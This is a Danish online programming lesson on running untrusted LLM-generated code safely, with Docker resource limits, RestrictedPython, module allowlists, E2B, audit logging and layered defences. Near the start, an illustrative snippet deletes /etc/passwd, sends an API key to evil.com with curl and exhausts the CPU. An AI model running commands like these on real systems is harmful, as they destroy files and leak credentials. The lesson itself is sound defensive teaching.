Sandboxing med Docker og RestrictedPython
Opret isolerede eksekveringsmiljøer ved hjælp af Docker-containere med ressourcebegrænsninger, netværksisolering og skrivebeskyttede filsystemer, så De sikkert kan køre kode genereret af LLM'er, som De ikke har tillid til.
Sandboxing med Docker og RestrictedPython er en gratis AI Engineering Academy-lektion på CoddyKit. Dette er lektion 2 af 4. Du kan læse hele lektionen gratis nedenfor — og derefter øve dig praktisk i browseren med en indbygget kodeeditor og en AI-vejleder, der er tilgængelig døgnet rundt. Den er en del af læringsforløbet i AI Engineering Academy, og dine fremskridt synkroniseres på tværs af nettet og CoddyKit-appen. AI Engineering Academy-kurset indeholder 4 lektioner i alt.
Hvorfor sandboxing af kode ikke kan undværes
LLM-genereret kode kører med de samme tilladelser som den proces, der kalder den. Et uforsigtigt eller ondsindet indsat kodestykke kan slette filer, læse miljøvariable med API-nøgler, sende netværksanmodninger, opbruge RAM eller CPU eller installere bagdøre. Sandboxing opretter et isoleret kørselsmiljø, der begrænser, hvad den genererede kode kan gøre, så kodekørselsagenter bliver sikre nok til at køre i produktion.
# Example of dangerous code an LLM might generate
import os
import subprocess
# Without sandboxing, this runs with full host permissions:
os.remove('/etc/passwd') # deletes system file
subprocess.run(['curl', 'http://evil.com', '-d', os.environ['OPENAI_API_KEY']]) # exfiltrates secrets
while True: pass # exhausts CPU
# Sandboxing prevents ALL of thisDocker som sandkasse
Docker-containere er den mest praktiske sandkasse til LLM-genereret kode i produktion. Hver kodekørsel får en ny container, der er bygget fra et minimalt image, med stramme ressourcegrænser for CPU, hukommelse og tid. Containeren har ingen adgang til værtens filsystem (bortset fra en eksplicit workspace-montering), og netværksadgang er deaktiveret eller begrænset til en tilladelsesliste. Når kørslen er færdig, destrueres containeren.
import docker
import tempfile
import os
client = docker.from_env()
def execute_in_docker(code: str, timeout=30) -> tuple[str, str]:
# Write code to temp file
with tempfile.NamedTemporaryFile(mode='w', suffix='.py', delete=False) as f:
f.write(code)
host_path = f.name
try:
container = client.containers.run(
image='python:3.11-slim', # minimal Python image
command=f'python /workspace/code.py',
volumes={host_path: {'bind': '/workspace/code.py', 'mode': 'ro'}},
mem_limit='256m', # max 256 MB RAM
cpu_period=100000,
cpu_quota=50000, # 50% of 1 CPU core
network_disabled=True, # no internet access
read_only=True, # read-only root filesystem
remove=True, # auto-delete container
timeout=timeout
)
return container.decode('utf-8'), ''
except docker.errors.ContainerError as e:
return '', e.stderr.decode('utf-8')
finally:
os.unlink(host_path)Ressourcegrænser i Docker
Docker giver finmaskede ressourcekontroller til sandkassecontainere. De vigtigste grænser, du skal angive, er: mem_limit til at begrænse hukommelsen (f.eks. 256m), cpu_quota til at begrænse CPU-tid, pids_limit til at forhindre fork-bomber og en timeout til at stoppe kode, der går i stå. Uden disse grænser kan et dårligt skrevet eller ondsindet kodestykke få hele værtsmaskinen til at gå ned ved at opbruge alle tilgængelige ressourcer.
sandbox_config = {
'image': 'code-sandbox:latest',
'mem_limit': '256m', # 256 MB max RAM
'memswap_limit': '256m', # no swap (prevents RAM expansion via swap)
'cpu_quota': 50000, # 50% of a CPU core
'cpu_period': 100000,
'pids_limit': 64, # max 64 processes (prevents fork bombs)
'network_disabled': True, # no network
'read_only': True, # read-only root filesystem
'tmpfs': {'/tmp': ''}, # writable /tmp in memory only
'security_opt': ['no-new-privileges'], # prevent privilege escalation
'cap_drop': ['ALL'], # drop all Linux capabilities
'remove': True, # auto-remove after execution
}Opbygning af et image til kodekørsel
Når du kører kode i et minimalt python:3.11-slim-image, er der ingen datavidenskabelige biblioteker tilgængelige. Byg et tilpasset sandkasseimage, som på forhånd installerer de pakker, dine kodeagenter typisk har brug for (pandas, numpy, matplotlib, scikit-learn), så de ikke behøver internetadgang for at installere pakker under kørslen. Forudgående installation gør også kørslen betydeligt hurtigere.
# Dockerfile for code sandbox
# FROM python:3.11-slim
#
# RUN pip install --no-cache-dir \
# pandas==2.1.0 \
# numpy==1.25.0 \
# matplotlib==3.7.0 \
# scikit-learn==1.3.0 \
# requests==2.31.0 \
# beautifulsoup4==4.12.0
#
# # Create non-root user for extra security
# RUN useradd -m sandbox
# USER sandbox
#
# WORKDIR /workspace
# Build: docker build -t code-sandbox:latest .
# The agent uses this image for every executionRestrictedPython til sandboxing i processen
RestrictedPython er et Python-bibliotek, der kompilerer kode med sikkerhedsbegrænsninger håndhævet på AST-niveau. Det blokerer farlige indbyggede funktioner (exec, eval, __import__), begrænser attributadgang og forhindrer adgang til dunder-metoder. RestrictedPython kører i den samme proces (uden Docker-overhead), hvilket gør det betydeligt hurtigere, men det giver svagere isolation end Docker og egner sig bedre til simpel kode med lav risiko.
from RestrictedPython import compile_restricted, safe_globals, safe_builtins
from RestrictedPython.Guards import safe_iter_unpack_sequence, guarded_getitem
def execute_restricted(code: str) -> dict:
# Compile with restrictions
byte_code = compile_restricted(code, '<string>', 'exec')
# Define a restricted global namespace
restricted_globals = {
'__builtins__': safe_builtins, # no exec, eval, __import__, open
'_getiter_': iter,
'_getitem_': guarded_getitem,
'_iter_unpack_sequence_': safe_iter_unpack_sequence,
'print': print, # allow print
}
local_vars = {}
exec(byte_code, restricted_globals, local_vars)
return local_vars
# Test
try:
result = execute_restricted('x = 2 + 2\nprint(x)')
except Exception as e:
print('Blocked:', e)Sammenligning af Docker og RestrictedPython
De to sandboxingmetoder har forskellige kompromiser. Docker giver reel isolation på OS-niveau: hver kørsel er en separat proces uden delt tilstand, og selv et forsøg på at udnytte kernen begrænses til containeren. Ulempen er en opstartsomkostning på 0,5–2 sekunder pr. kørsel. RestrictedPython starter på millisekunder og kræver ingen containerinfrastruktur, men giver betydeligt svagere isolation og har kendte smuthuller, som sofistikerede angribere kan udnytte.
# Decision guide
def choose_sandbox(requirements: dict) -> str:
if requirements.get('user_provided_code'): # untrusted third party code
return 'docker' # must use Docker for true isolation
if requirements.get('needs_filesystem_access'):
return 'docker' # Docker volumes are safer
if requirements.get('low_latency_critical'): # < 100ms per execution
return 'restrictedpython' # no container startup overhead
if requirements.get('llm_generated_internal_only'): # your own trusted agent
return 'restrictedpython' # acceptable risk, faster
return 'docker' # default to stronger isolation when in doubtTilladelseslister for tilladte handlinger
Både Docker og RestrictedPython understøtter tilladelseslister: Du tillader udtrykkeligt kun de handlinger, som kodeagenten faktisk har brug for, i stedet for at blokere alt farligt. Tillad for eksempel pandas- og numpy-operationer, men blokér subprocess, socket og os.system. Tilladelseslister er en mere sikker tilgang end bloklister, fordi du ikke behøver at forudse enhver mulig angrebsvektor.
from RestrictedPython import safe_builtins
import pandas as pd
import numpy as np
# Whitelist approach: only provide what agents should use
ALLOWED_MODULES = {
'pandas': pd,
'numpy': np,
# NOT allowed: subprocess, socket, os, sys, importlib
}
def make_restricted_globals():
builtins = dict(safe_builtins) # safe subset of Python builtins
builtins['__import__'] = make_guarded_import(ALLOWED_MODULES)
return {'__builtins__': builtins, **ALLOWED_MODULES}
def make_guarded_import(allowed: dict):
def guarded_import(name, *args, **kwargs):
if name not in allowed:
raise ImportError(f'Import of {name} is not allowed in sandbox')
return allowed[name]
return guarded_importPersistente workspace-diskenheder
En kodeagent har ofte brug for at skrive midlertidige filer (en renset CSV-fil, et genereret diagram), som den næste kodekørsel kan læse. Brug en arbejdsområdedisk i Docker: en mappe på værten, der monteres med læse- og skriverettigheder i containeren. Hver containerkørsel i den samme session deler denne disk, så agenten kan opbygge et arbejdsområde med filer på tværs af kørsler, mens containerens rodfilsystem forbliver skrivebeskyttet.
import os
import tempfile
class AgentWorkspace:
def __init__(self):
self.dir = tempfile.mkdtemp(prefix='agent_workspace_')
os.chmod(self.dir, 0o755)
print(f'Workspace created: {self.dir}')
def get_docker_mount(self):
return {self.dir: {'bind': '/workspace', 'mode': 'rw'}}
def list_files(self):
return os.listdir(self.dir)
def cleanup(self):
import shutil
shutil.rmtree(self.dir)
print('Workspace cleaned up')
# Usage across iterations
workspace = AgentWorkspace()
for i, code in enumerate(agent_generated_code_iterations):
volumes = workspace.get_docker_mount()
output, err = execute_in_docker(code, volumes=volumes)
# Code in iteration 2 can read files written by iteration 1Sandboxing i cloudmiljøer
I produktion vil du ofte køre sandkasser til kode i skyen i stedet for på din API-server. Tjenester som AWS Lambda (med en begrænset VPC), Google Cloud Run-containere eller dedikerede sandboxingtjenester som E2B (e2b.dev) tilbyder administrerede, isolerede kørselsmiljøer. E2B er specifikt udviklet til AI-kodeagenter og tilbyder en Python-sandkasse, der starter hurtigt, med en enkel API.
# E2B managed sandbox (e2b.dev)
from e2b_code_interpreter import Sandbox
def execute_with_e2b(code: str) -> tuple[str, str]:
with Sandbox() as sandbox:
execution = sandbox.run_code(code)
stdout = '\n'.join(execution.logs.stdout)
stderr = '\n'.join(execution.logs.stderr)
return stdout, stderr
# E2B handles: sandboxing, resource limits, network isolation
# Each sandbox starts in ~100ms and auto-expires after the session
output, error = execute_with_e2b('import pandas as pd\ndf = pd.DataFrame({"a": [1,2,3]})\nprint(df)')Overvågning og revisionslogning
Selv med sandboxing skal du logge hver kodekørsel af hensyn til sikkerhedsrevision. Registrer: den fulde kode, der blev sendt til kørsel, tidspunktet for og varigheden af kørslen, den agentsession og bruger, der udløste den, stdout/stderr-outputtet samt eventuelle forsøg på sikkerhedsbrud (blokerede importer, overskridelser af ressourcegrænser). Dette revisionsspor er afgørende for at undersøge uventet adfærd og dokumentere overholdelse af krav.
import time
import hashlib
def audited_execute(code: str, agent_id: str, session_id: str) -> dict:
code_hash = hashlib.sha256(code.encode()).hexdigest()[:16]
start = time.time()
stdout, stderr = execute_in_docker(code)
audit_record = {
'agent_id': agent_id,
'session_id': session_id,
'code_hash': code_hash,
'code_preview': code[:200], # first 200 chars
'start_time': start,
'duration_ms': (time.time() - start) * 1000,
'had_error': bool(stderr),
'output_length': len(stdout)
}
write_audit_log(audit_record)
return {'stdout': stdout, 'stderr': stderr, 'audit': audit_record}Forsvar i dybden for kodeagenter
Ingen enkelt sandboxingmekanisme er perfekt. Brug forsvar i dybden: kombiner Docker-isolering med ressourcegrænser, brug en bruger uden root-rettigheder i containeren, deaktiver netværksadgang, brug et skrivebeskyttet rodfilsystem med en tmpfs til /tmp, kør containeren i en separat VM eller cloudfunktion med få privilegier, og overvåg kørslen for unormal ressourceanvendelse. Flere uafhængige lag betyder, at et omgået lag ikke kompromitterer hele systemet.
Hurtigt tjek
Test din forståelse af sandboxing af kodekørsel fra denne lektion.
Opsummering af lektionen
I denne lektion har du lært, at Docker-sandboxing er den gyldne standard for sikker kørsel af LLM-genereret kode ved hjælp af isolering på containerniveau, ressourcegrænser og netværksbegrænsninger, at RestrictedPython er et hurtigere, men svagere alternativ i samme proces, som egner sig til interne agenter med lav risiko, og at forsvar i dybden kombinerer flere beskyttelseslag, fordi ingen enkelt mekanisme er tilstrækkelig. Næste gang gennemgår vi håndtering af tilstand på tværs af kodekørsler.
Lær Python med en AI-underviser — gratis
Skriv og kør rigtig kode i din browser, få øjeblikkelig hjælp fra en AI-underviser døgnet rundt, og fortsæt, hvor du slap, på web eller i appen.
- Kurser
- 30
- Lektioner
- 120
Ofte stillede spørgsmål
Er lektionen “Sandboxing med Docker og RestrictedPython” gratis?
Ja — hele teksten til “Sandboxing med Docker og RestrictedPython” kan læses gratis her på nettet. Hvis du vil øve dig interaktivt med en indbygget kodeeditor og en AI-vejleder døgnet rundt og få adgang til resten af AI Engineering Academy-kurset, skal du opgradere til CoddyKit PRO. AI Engineering Academy-kurset indeholder 4 lektioner i alt.
Hvad lærer jeg i “Sandboxing med Docker og RestrictedPython”?
Opret isolerede eksekveringsmiljøer ved hjælp af Docker-containere med ressourcebegrænsninger, netværksisolering og skrivebeskyttede filsystemer, så De sikkert kan køre kode genereret af LLM'er, som… Du øver dig i AI Engineering Academy med praktisk kode, som du kører direkte i browseren, og en AI-vejleder døgnet rundt besvarer dine spørgsmål, mens du arbejder dig gennem lektionen.
Skal jeg have erfaring for at begynde på AI Engineering Academy?
Der kræves ingen tidligere erfaring. AI Engineering Academy på CoddyKit er tilrettelagt for både begyndere og øvede, så du kan starte her eller fra begyndelsen og lære i dit eget tempo. Dette er lektion 2 af 4.
Hvor lang tid tager lektionen “Sandboxing med Docker og RestrictedPython”?
De fleste CoddyKit-lektioner tager cirka 5–10 minutter. Hver lektion er kort og interaktiv, så du gør løbende fremskridt og kan fortsætte, hvor du slap – på både web og app.
Kan jeg skrive og køre kode i denne AI Engineering Academy-lektion?
Ja. Alle AI Engineering Academy-lektioner har en indbygget kodeeditor, så du kan skrive og køre rigtig kode direkte i din browser og få øjeblikkelig feedback fra AI – uden lokal opsætning.
Alle lektioner i dette kursus
- Kodeudførelsesløkken
- Sandboxing med Docker og RestrictedPython
- Tilstandshåndtering på tværs af udførelsestrin
- Opbygning af en dataanalyseagent